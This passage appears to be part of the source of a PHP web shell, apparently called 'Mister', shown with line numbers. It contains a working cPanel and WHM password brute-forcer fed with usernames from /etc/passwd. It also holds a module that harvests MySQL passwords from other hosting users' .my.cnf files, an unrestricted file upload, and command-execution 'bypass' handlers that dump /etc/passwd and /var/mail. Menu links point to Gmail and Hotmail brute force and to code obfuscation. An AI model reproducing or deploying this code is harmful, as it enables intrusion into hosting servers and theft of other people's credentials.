1632 | <form method=post> | |
1633 | <input type=submit name=cpanel value="AUTO USERNAME/PASSWORD LOADING CPANEL CRACKER" class="Mister-button"><p><?php if(isset($_POST['cpanel'])){?> | |
1634 | <form method=post><div align=center><table> | |
1635 | <span>WANT TO BRUTE <select name="op" class="input"> <option name="op" value="cp">CPANEL</option> | |
1636 | <option name="op" value="whm">WHMPANEL</option></table><p> | |
1637 | <td class="Mister-Tabl"><textarea class="input" style="width:50%;height:200px;" rows=20 cols=25 name=usernames ><?php $users=file("/etc/passwd"); | |
1638 | foreach($users as $user) | |
1639 | { | |
1640 | $str=explode(":",$user); | |
1641 | echo $str[0]."\n"; | |
1642 | } | |
1643 | ?></textarea></td><td class="Mister-Tabl"><textarea class="input" style="width:50%;height:200px;" rows=20 cols=25 name=passwords > | |
1644 | <?php | |
1645 | ||
1646 | $d=getcwd()."/r.txt"; | |
1647 | $pf=file($d); | |
1648 | foreach($pf as $rt) | |
1649 | { | |
1650 | $str=explode('\n',$rt); | |
1651 | echo trim($str[0])."\n"; | |
1652 | } ?></textarea></td><p> | |
1653 | <input type=submit name=cpanelcracking value="START" class="Mister-button"></form><br><br> | |
1654 | <?php | |
1655 | } | |
1656 | ?> | |
1657 | <?php | |
1658 | error_reporting(0); | |
1659 | $connect_timeout=5; | |
1660 | set_time_limit(0); | |
1661 | ||
1662 | $userl=$_POST['usernames']; | |
1663 | $passl=$_POST['passwords']; | |
1664 | $attack=$_POST['op']; | |
1665 | $target = "localhost"; | |
1666 | ||
1667 | if(isset($_POST['cpanelcracking'])) | |
1668 | { | |
1669 | if($userl!=="" && $passl!=="") | |
1670 | { | |
1671 | if($_POST["op"]=="cp") | |
1672 | { | |
1673 | $cracked=$_POST['crack']; | |
1674 | @fopen($cracked,'a'); | |
1675 | echo "<br><span>......NOW WE ARE ATTACKING CPANELS....PLEASE WAIT TILL THE END OF PROCESS </span>\n"; | |
1676 | ||
1677 | ||
1678 | } | |
1679 | elseif($_POST["op"]=="whm") | |
1680 | { | |
1681 | @fopen($cracked,'a'); | |
1682 | echo "<br><span>......NOW WE ARE ATTACKING WHM PANEL....PLEASE WAIT TILL THE END OF PROCESS</span>"; | |
1683 | ||
1684 | } | |
1685 | ||
1686 | function cpanel($host,$user,$pass,$timeout){ | |
1687 | $ch = curl_init(); | |
1688 | curl_setopt($ch, CURLOPT_URL, "http://$host:2082"); | |
1689 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
1690 | curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); | |
1691 | curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); | |
1692 | curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); | |
1693 | curl_setopt($ch, CURLOPT_FAILONERROR, 1); | |
1694 | $data = curl_exec($ch); | |
1695 | if ( curl_errno($ch) == 0 ){ | |
1696 | echo "<table width=100% ><tr><td align=center><font color=#FFFFFF >==================================</font><font color=red > $user </font><font color=#FFFFFF >cracked with </font><font color=red > $pass </font> <font color=#FFFFFF >==================================</font></b></td></tr></table>"; | |
1697 | } | |
1698 | curl_close($ch);} | |
1699 | ||
1700 | $userlist=explode("\n",$userl); | |
1701 | $passlist=explode("\n",$passl); | |
1702 | ||
1703 | if ($attack == "cp") | |
1704 | { | |
1705 | foreach ($userlist as $user) { | |
1706 | echo "<div align=center><table width=80% ><tr><td align=center><font color=red size=1>Attacking user $user </font></td></tr></table>"; | |
1707 | $finaluser = trim($user); | |
1708 | foreach ($passlist as $password ) { | |
1709 | $finalpass = trim($password); | |
1710 | cpanel($target,$finaluser,$finalpass,$connect_timeout); | |
1711 | } | |
1712 | } | |
1713 | } | |
1714 | function whm($host,$user,$pass,$timeout){ | |
1715 | $ch = curl_init(); | |
1716 | curl_setopt($ch, CURLOPT_URL, "http://$host:2086"); | |
1717 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
1718 | curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); | |
1719 | curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); | |
1720 | curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); | |
1721 | curl_setopt($ch, CURLOPT_FAILONERROR, 1); | |
1722 | $data = curl_exec($ch); | |
1723 | if ( curl_errno($ch) == 0 ){ | |
1724 | echo "<table width=100% ><tr><td align=center><font color=#FFFFFF >==================================</font><font color=red > $user </font><font color=#FFFFFF >cracked with </font><font color=red > $pass </font> <font color=#FFFFFF >==================================</font></b></td></tr></table>"; | |
1725 | } | |
1726 | curl_close($ch);} | |
1727 | $userlist=explode("\n",$userl); | |
1728 | $passlist=explode("\n",$passl); | |
1729 | ||
1730 | if ($attack == "whm") | |
1731 | { | |
1732 | foreach ($userlist as $user) { | |
1733 | echo "<table width=80% ><tr><td align=center><span style='color:#0000F0'>USER UNDER ATTACK IS $user </span></td></tr></table>"; | |
1734 | $finaluser = trim($user); | |
1735 | foreach ($passlist as $password ) { | |
1736 | $finalpass = trim($password); | |
1737 | ||
1738 | whm($target,$finaluser,$finalpass,$connect_timeout); | |
1739 | } | |
1740 | } | |
1741 | } | |
1742 | } | |
1743 | elseif($userl=="") | |
1744 | { | |
1745 | echo "<span style='color:red'>USERLIST FIELD </span><br>"; | |
1746 | } | |
1747 | elseif($passl=="") | |
1748 | { | |
1749 | ||
1750 | echo "<span style='color:#0000F0'>PLEASE PUT PASSWORDS IN PAASWORD LIST FIELD</span><br>"; | |
1751 | } | |
1752 | } | |
1753 | $data = $_GET['data']; | |
1754 | if($data == 'data'){ | |
1755 | $filename = $_FILES['file']['name']; | |
1756 | $filetmp = $_FILES['file']['tmp_name']; | |
1757 | ||
1758 | echo "<form method='POST' enctype='multipart/form-data'> | |
1759 | <input type='file'name='file' /> | |
1760 | <input type='submit' value='DATA' class='Mister-button'> | |
1761 | </form>"; | |
1762 | MOVE_UPLOADED_FILE($filetmp,$filename); | |
1763 | } | |
1764 | //////// FOOTER | |
1765 | $FOTTER2 = "<footer class='MK-footer'>"; | |
1766 | echo ''. $FOTTER2 .'' ; | |
1767 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
1768 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
1769 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1770 | $SERVERIP1 = "SERVER IP :"; | |
1771 | echo ''. $SERVERIP1 .'' ; | |
1772 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
1773 | $SPAN3 = "</span>"; | |
1774 | echo ''. $SPAN2 .'' ; | |
1775 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
1776 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1777 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
1778 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
1779 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
1780 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1781 | $HOSTOWNED1 = "HOST OWNED :"; | |
1782 | echo ''. $HOSTOWNED1 .'' ; | |
1783 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
1784 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
1785 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
1786 | echo ''. $THEEND .'' ; | |
1787 | exit; | |
1788 | } | |
1789 | ///////// CPANNELS | |
1790 | if ($_GET["Mister"] == "AutoCp"){ | |
1791 | echo "<br><center><nav class='social'><ul> | |
1792 | <li><a href='?Mister=cpanelBrut'>Turbo Cpanel Brut Force</a></li> | |
1793 | <li><a href='?Mister=Brutmailers'>Gmail & Hotmail Brute Force</a></li> | |
1794 | <li><a href='?Mister=AutoCp'>Auto Cpanel Finder/Cracker</a></li> | |
1795 | </ul></nav></center>"; | |
1796 | echo "<nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'>AUTO CPANEL FINDER/CRACKER</span></nav><br><div class=content><center>"; | |
1797 | @ini_set('display_errors',0); | |
1798 | function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){ | |
1799 | $ar0=explode($marqueurDebutLien, $text); | |
1800 | $ar1=explode($marqueurFinLien, $ar0[$i]); | |
1801 | return trim($ar1[0]); | |
1802 | } | |
1803 | ||
1804 | echo "<center>"; | |
1805 | $d0mains = @file('/etc/named.conf'); | |
1806 | $domains = scandir("/var/named"); | |
1807 | ||
1808 | if ($domains or $d0mains) | |
1809 | { | |
1810 | $domains = scandir("/var/named"); | |
1811 | if($domains) { | |
1812 | echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>"; | |
1813 | $count=1; | |
1814 | $dc = 0; | |
1815 | $list = scandir("/var/named"); | |
1816 | foreach($list as $domain){ | |
1817 | if(strpos($domain,".db")){ | |
1818 | $domain = str_replace('.db','',$domain); | |
1819 | $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain)); | |
1820 | $dirz = '/home/'.$owner['name'].'/.my.cnf'; | |
1821 | $path = getcwd(); | |
1822 | ||
1823 | if (is_readable($dirz)) { | |
1824 | copy($dirz, ''.$path.'/'.$owner['name'].'.txt'); | |
1825 | $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt'); | |
1826 | $password=entre2v2($p,'password="','"'); | |
1827 | echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>"; | |
1828 | $dc++; | |
1829 | } | |
1830 | ||
1831 | } | |
1832 | } | |
1833 | echo '</table>'; | |
1834 | $total = $dc; | |
1835 | echo '<br><div class="result">TOTAL CPANEL FOUND = '.$total.'</h3><br />'; | |
1836 | echo '</center>'; | |
1837 | }else{ | |
1838 | $d0mains = @file('/etc/named.conf'); | |
1839 | if($d0mains) { | |
1840 | echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>"; | |
1841 | $count=1; | |
1842 | $dc = 0; | |
1843 | $mck = array(); | |
1844 | foreach($d0mains as $d0main){ | |
1845 | if(@eregi('zone',$d0main)){ | |
1846 | preg_match_all('#zone "(.*)"#',$d0main,$domain); | |
1847 | flush(); | |
1848 | if(strlen(trim($domain[1][0])) >2){ | |
1849 | $mck[] = $domain[1][0]; | |
1850 | } | |
1851 | } | |
1852 | } | |
1853 | $mck = array_unique($mck); | |
1854 | $usr = array(); | |
1855 | $dmn = array(); | |
1856 | foreach($mck as $o) { | |
1857 | $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o)); | |
1858 | $usr[] = $infos['name']; | |
1859 | $dmn[] = $o; | |
1860 | } | |
1861 | array_multisort($usr,$dmn); | |
1862 | $dt = file('/etc/passwd'); | |
1863 | $passwd = array(); | |
1864 | foreach($dt as $d) { | |
1865 | $r = explode(':',$d); | |
1866 | if(strpos($r[5],'home')) { | |
1867 | $passwd[$r[0]] = $r[5]; | |
1868 | } | |
1869 | } | |
1870 | $l=0; | |
1871 | $j=1; | |
1872 | foreach($usr as $r) { | |
1873 | $dirz = '/home/'.$r.'/.my.cnf'; | |
1874 | $path = getcwd(); | |
1875 | if (is_readable($dirz)) { | |
1876 | copy($dirz, ''.$path.'/'.$r.'.txt'); | |
1877 | $p=file_get_contents(''.$path.'/'.$r.'.txt'); | |
1878 | $password=entre2v2($p,'password="','"'); | |
1879 | echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>"; | |
1880 | $dc++; | |
1881 | flush(); | |
1882 | $l=$l?0:1; | |
1883 | $j++; | |
1884 | } | |
1885 | } | |
1886 | } | |
1887 | echo '</table>'; | |
1888 | $total = $dc; | |
1889 | echo '<br><div class="result">TOTAL CPANEL FOUND = '.$total.'</h3><br />'; | |
1890 | echo '</center>'; | |
1891 | ||
1892 | } | |
1893 | }else{ | |
1894 | echo "<div class='result'><font color='#FF0000'>ERROR</font><br><font color='white'>/var/named</font> or <font color='white'>etc/named.conf</font><font color='red'> Not Accessible!</font></div>"; | |
1895 | } | |
1896 | //////// FOOTER | |
1897 | $FOTTER2 = "<footer class='MK-footer'>"; | |
1898 | echo ''. $FOTTER2 .'' ; | |
1899 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
1900 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
1901 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1902 | $SERVERIP1 = "SERVER IP :"; | |
1903 | echo ''. $SERVERIP1 .'' ; | |
1904 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
1905 | $SPAN3 = "</span>"; | |
1906 | echo ''. $SPAN2 .'' ; | |
1907 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
1908 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1909 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
1910 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
1911 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
1912 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1913 | $HOSTOWNED1 = "HOST OWNED :"; | |
1914 | echo ''. $HOSTOWNED1 .'' ; | |
1915 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
1916 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
1917 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
1918 | echo ''. $THEEND .'' ; | |
1919 | ||
1920 | exit ; } | |
1921 | ///////////// BASE64CRY | |
1922 | if ($_GET["Mister"] == "Base64Cry"){ | |
1923 | echo '<br><center><nav class="social"><ul> | |
1924 | <li><a href="?Mister=string">Encoder</a></li> | |
1925 | <li><a href="?Mister=Base64Cry">Base64 Decrypt V2.0</a></li> | |
1926 | <li><a href="?Mister=obfuscate">Php Obfuscate</a></li> | |
1927 | <li><a href="?Mister=HashId">Hash Identification</a></li> | |
1928 | </ul></nav></center>'; | |
1929 | echo "<nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'>BASE64 CRYPT & DECRYPT V2.0</span></nav><br><div class=content><center>"; | |
1930 | {$text = $_POST['code']; | |
1931 | echo' <form method="post"><textarea cols=80 rows=9 name="code" class="input" style="height:100px; width:50%;"> | |
1932 | </textarea><br><br> | |
1933 | <select name="ope"> | |
1934 | <option value="base64">BASE64</option ><option value="gzinflate"> STR_ROT13 - GZINFLATE - BASE64 </option> | |
1935 | <option value="str">STR_ROT13 - GZINFLATE - STR_ROT13 - BASE64</option > < /select> | |
1936 | <input class="Mister-button" type="submit" name="submit" value="ENCRYPT"> | |
1937 | <input class="Mister-button" type="submit" name="submits" value="DECRYPT"> | |
1938 | </form > '; | |
1939 | $submit = $_POST['submit']; | |
1940 | if (isset($submit)) { | |
1941 | $op = $_POST["ope"]; | |
1942 | switch ($op) { | |
1943 | case 'base64': | |
1944 | $codi = base64_encode($text); | |
1945 | break; | |
1946 | case 'str': | |
1947 | $codi = (base64_encode(str_rot13(gzdeflate(str_rot13($text))))); | |
1948 | break; | |
1949 | case 'gzinflate': | |
1950 | $codi = base64_encode(gzdeflate(str_rot13($text))); | |
1951 | break; | |
1952 | default: | |
1953 | break; | |
1954 | } | |
1955 | } | |
1956 | ||
1957 | $submit = $_POST['submits']; | |
1958 | if (isset($submit)) { | |
1959 | $op = $_POST["ope"]; | |
1960 | switch ($op) { | |
1961 | case 'base64': | |
1962 | $codi = base64_decode($text); | |
1963 | break; | |
1964 | case 'str': | |
1965 | $codi = str_rot13(gzinflate(str_rot13(base64_decode(($text))))); | |
1966 | break; | |
1967 | case 'gzinflate': | |
1968 | $codi = str_rot13(gzinflate(base64_decode($text))); | |
1969 | break; | |
1970 | default: | |
1971 | break; | |
1972 | } | |
1973 | } | |
1974 | echo '<textarea cols=80 rows=9 class="input" style="height:150px; width:50%;" readonly>'.$codi.'</textarea></center>'; } | |
1975 | ///// FOOTER | |
1976 | $FOTTER2 = "<footer class='MK-footer'>"; | |
1977 | echo ''. $FOTTER2 .'' ; | |
1978 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
1979 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
1980 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1981 | $SERVERIP1 = "SERVER IP :"; | |
1982 | echo ''. $SERVERIP1 .'' ; | |
1983 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
1984 | $SPAN3 = "</span>"; | |
1985 | echo ''. $SPAN2 .'' ; | |
1986 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
1987 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1988 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
1989 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
1990 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
1991 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1992 | $HOSTOWNED1 = "HOST OWNED :"; | |
1993 | echo ''. $HOSTOWNED1 .'' ; | |
1994 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
1995 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
1996 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
1997 | echo ''. $THEEND .'' ; | |
1998 | exit ;} | |
1999 | ////////////////// BYPASS | |
2000 | if ($_GET["Mister"] == "Bypassuser"){ | |
2001 | //////// FOOTER | |
2002 | $FOTTER2 = "<footer class='MK-footer'>"; | |
2003 | echo ''. $FOTTER2 .'' ; | |
2004 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
2005 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
2006 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2007 | $SERVERIP1 = "SERVER IP :"; | |
2008 | echo ''. $SERVERIP1 .'' ; | |
2009 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
2010 | $SPAN3 = "</span>"; | |
2011 | echo ''. $SPAN2 .'' ; | |
2012 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
2013 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2014 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
2015 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
2016 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
2017 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2018 | $HOSTOWNED1 = "HOST OWNED :"; | |
2019 | echo ''. $HOSTOWNED1 .'' ; | |
2020 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
2021 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
2022 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
2023 | echo ''. $THEEND .'' ; | |
2024 | echo '<br><center><nav class="social"><ul> | |
2025 | <li><a href="?Mister=Bypassuser"> Bypass Users Server</a></li> | |
2026 | <li><a href="?Mister=Bypassetc" >Bypass /etc/passwd </a></li> | |
2027 | </ul></nav></center>'; | |
2028 | echo "<nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'>BYPASS USERS SERVER </span></nav><br><div class=content><center>"; | |
2029 | echo ' | |
2030 | <div><span style="font-size:10px; color:#0000F0"> | |
2031 | <p><center><span style="font-size:10px; color:#0000F0">BYPASS WITH AWK PROGRAM | |
2032 | <form method="post"> | |
2033 | <input type="submit" value="Bypass" name="awk" class="Mister-button"> | |
2034 | </form> | |
2035 | </center><br> | |
2036 | </p> | |
2037 | <p><center><span style="font-size:10px; color:#0000F0">BYPASS WITH SYSTEM FUNCTION | |
2038 | <form method="post"> | |
2039 | <input type="submit" value="Bypass" name="syst" class="Mister-button"> | |
2040 | </form> | |
2041 | </center><br> | |
2042 | </p> | |
2043 | <p><center><span style="font-size:10px; color:#0000F0">BYPASS WITH PASSTHRU FUNCTION | |
2044 | <form method="post"> | |
2045 | <input type="submit" value="Bypass" name="passth" class="Mister-button"> | |
2046 | </form> | |
2047 | </center><br> | |
2048 | </p> | |
2049 | <p><center><span style="font-size:10px; color:#0000F0">BYPASS WITH EXEC FUNCTION | |
2050 | <form method="post"> | |
2051 | <input type="submit" value="Bypass" name="ex" class="Mister-button"> | |
2052 | </form> | |
2053 | </center><br> | |
2054 | </p> | |
2055 | <p><center><span style="font-size:10px; color:#0000F0">BYPASS WITH SHELL_EXEC FUNCTION | |
2056 | <form method="post"> | |
2057 | <input type="submit" value="Bypass" name="shex" class="Mister-button"> | |
2058 | </form> | |
2059 | </center><br> | |
2060 | </p><center>'; | |
2061 | //Awk Program // | |
2062 | if ($_POST['awk']) { | |
2063 | echo"<textarea cols='65' rows='15' style='width:60%'>"; | |
2064 | echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort"); | |
2065 | echo "</textarea><br>"; | |
2066 | echo " | |
2067 | <br> | |
2068 | </b> | |
2069 | <br> | |
2070 | "; | |
2071 | } | |
2072 | echo "</center><center>"; | |
2073 | //SYSTEM FUNCTION | |
2074 | if ($_POST['syst']) { | |
2075 | echo"<textarea cols='65' rows='15' style='width:60%'>"; | |
2076 | echo system("ls /var/mail"); | |
2077 | echo "</textarea><br>"; | |
2078 | echo " | |
2079 | <br> | |
2080 | </b> | |
2081 | <br> | |
2082 | "; | |
2083 | } | |
2084 | echo "</center><center>"; | |
2085 | //PASSTHRU FUNCTION | |
2086 | if ($_POST['passth']) { | |
2087 | echo"<textarea cols='65' rows='15' style='width:60%'>"; | |
2088 | echo passthru("ls /var/mail"); | |
2089 | echo "</textarea><br>"; | |
2090 | echo " | |
2091 | <br> | |
2092 | </b> | |
2093 | <br> | |
2094 | "; | |
2095 | } | |
2096 | echo "</center><center>"; | |
2097 | //exec Function | |
2098 | if ($_POST['ex']) { | |
2099 | echo"<textarea cols='65' rows='15' style='width:60%'>"; | |
2100 | echo exec("ls /var/mail"); | |
2101 | echo "</textarea><br>"; | |
2102 | echo " | |
2103 | <br> | |
2104 | </b> | |
2105 | <br> | |
2106 | "; | |
2107 | } | |
2108 | ||
2109 | echo "</center><center>"; | |
2110 | ||
2111 | //exec Function // | |
2112 | if ($_POST['shex']) { | |
2113 | echo"<textarea cols='65' rows='15' style='width:60%'>"; | |
2114 | echo shell_exec("ls /var/mail"); | |
2115 | echo "</textarea><br>"; | |
2116 | echo " | |
2117 | <br> | |
2118 | ||
2119 | </b> | |
2120 | <br> | |
2121 | "; | |
2122 | } exit ;} | |
2123 | /////////////// BYPASS 2 | |
2124 | if ($_GET["Mister"] == "Bypassetc"){ | |
2125 | echo '<br><center><nav class="social"><ul> | |
2126 | <li><a href="?Mister=Bypassuser"> Bypass Users Server</a></li> | |
2127 | <li><a href="?Mister=Bypassetc" >Bypass /etc/passwd </a></li> | |
2128 | </ul></nav></center>'; | |
2129 | echo "<nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'>BYPASS /ETC/PASSWD </span></nav><center><br><div class=content>"; | |
2130 | echo ' | |
2131 | <p><center><span style="font-size:10px; color:#0000F0">Bypass with System Function | |
2132 | <form method="post"> | |
2133 | <input type="submit" value="Bypass" name="syst" class="Mister-button"> | |
2134 | </form> | |
2135 | </center><br> | |
2136 | </p> | |
2137 | ||
2138 | <p><center><span style="font-size:10px; color:#0000F0">Bypass with Passthru Function | |
2139 | <form method="post"> | |
2140 | <span style="font-size:10px; color:#0000F0"> | |
2141 | <input type="submit" value="Bypass" name="passth" class="Mister-button"> | |
2142 | </form> | |
2143 | </center><br> | |
2144 | </p> | |
2145 | ||
2146 | <p><center><span style="font-size:10px; color:#0000F0">Bypass with exec Function | |
2147 | <form method="post"> | |
2148 | <input type="submit" value="Bypass" name="ex" class="Mister-button"> | |
2149 | </form> | |
2150 | </center><br> | |
2151 | </p> | |
2152 | ||
2153 | <p><center><span style="font-size:10px; color:#0000F0">Bypass with shell_exec Function | |
2154 | <form method="post"> | |
2155 | <input type="submit" value="Bypass" name="shex" class="Mister-button"> | |
2156 | </form> | |
2157 | </center><br> | |
2158 | </p> | |
2159 | ||
2160 | <p><center><span style="font-size:10px; color:#0000F0">Bypass with posix_getpwuid Function | |
2161 | <form method="post"> | |
2162 | <input type="submit" value="Bypass" name="Mister" class="Mister-button"> | |
2163 | </form> | |
2164 | </center><br> | |
2165 | </p> | |
2166 | <center>'; | |
2167 | //System Function // | |
2168 | if($_POST['syst']) | |
2169 | { | |
2170 | echo"<textarea cols='65' rows='15' style='width:60%'>"; | |
2171 | echo system("cat /etc/passwd"); | |
2172 | echo"</textarea><br>"; | |
2173 | echo" | |
2174 | <br> | |
2175 | ||
2176 | </b> | |
2177 | <br> | |
2178 | "; | |
2179 | } | |
2180 | echo ' | |
2181 | </center> | |
2182 | <center>'; | |
2183 | //Passthru Function // | |
2184 | if($_POST['passth']) | |
2185 | { | |
2186 | echo"<textarea cols='65' rows='15' style='width:60%'>"; | |
2187 | echo passthru("cat /etc/passwd"); | |
2188 | echo"</textarea><br>"; | |
2189 | echo" | |
2190 | <br> | |
2191 | </b> | |
2192 | <br> | |
2193 | "; | |
2194 | } | |
2195 | echo ' | |
2196 | </center> | |
2197 | <center>'; | |
2198 | //exec Function // | |
2199 | if($_POST['ex']) | |
2200 | { | |
2201 | echo"<textarea cols='65' rows='15' style='width:60%'>"; | |
2202 | echo exec("cat /etc/passwd"); | |
2203 | echo"</textarea><br>"; | |
2204 | echo" | |
2205 | <br> | |
2206 | </b> | |
2207 | <br> | |
2208 | "; | |
2209 | } | |
2210 | echo ' | |
2211 | </center> | |
2212 | <center>'; | |
2213 | //exec Function // | |
2214 | if($_POST['shex']) | |
2215 | { | |
2216 | echo"<textarea cols='65' rows='15' style='width:60%'>"; | |
2217 | echo shell_exec("cat /etc/passwd"); | |
2218 | echo"</textarea><br>"; | |
2219 | echo" | |
2220 | <br> | |
2221 | ||
2222 | </b> | |
2223 | <br> | |
2224 | "; | |
2225 | } | |
2226 | echo '</center> | |
2227 | <center>'; | |
2228 | ||
2229 | ||
2230 | ||
2231 | //posix_getpwuid Function // | |
2232 | if($_POST['Mister']) | |
2233 | { | |
2234 | echo"<textarea cols='65' rows='15' style='width:60%'>"; | |
2235 | for($uid=0;$uid<60000;$uid++){ | |
2236 | $ara = posix_getpwuid($uid); | |
2237 | if (!empty($ara)) { | |
2238 | while (list ($key, $val) = each($ara)){ | |
2239 | print "$val:"; | |
2240 | } | |
2241 | print "\n"; | |
2242 | } | |
2243 | } | |
2244 | echo"</textarea><br>"; | |
2245 | } | |
2246 | $FOTTER2 = "<footer class='MK-footer'>"; | |
2247 | echo ''. $FOTTER2 .'' ; | |
2248 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
2249 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
2250 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2251 | $SERVERIP1 = "SERVER IP :"; | |
2252 | echo ''. $SERVERIP1 .'' ; | |
2253 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
2254 | $SPAN3 = "</span>"; | |
2255 | echo ''. $SPAN2 .'' ; | |
2256 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
